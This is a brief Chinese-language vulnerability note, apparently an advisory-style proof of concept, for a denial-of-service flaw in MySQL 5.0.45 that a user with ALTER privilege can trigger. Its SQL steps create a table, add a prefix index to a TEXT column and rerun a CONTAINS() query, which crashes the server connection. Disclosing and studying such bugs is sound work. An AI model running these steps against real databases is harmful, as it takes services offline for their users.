MySQL 5.0.45 及可能影響至 6.0 版本,存在一個拒絕服務漏洞。攻擊者需擁有 ALTER 權限即可觸發。
-- 1. 建立測試表
CREATE TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- 2. 正常查詢 (無索引時)
SELECT * FROM test WHERE CONTAINS(foo, 'bar');
-- 回傳 Empty set
-- 3. 對 text 欄位建立前綴索引
ALTER TABLE test ADD INDEX (foo(100));
-- 4. 再次執行相同查詢
SELECT * FROM test WHERE CONTAINS(foo, 'bar');
-- 導致 ERROR 2013: Lost connection to MySQL server during query
CONTAINS() 函數查詢會導致伺服器斷線。TEXT/BLOB 欄位建立前綴索引並搭配 CONTAINS() 使用。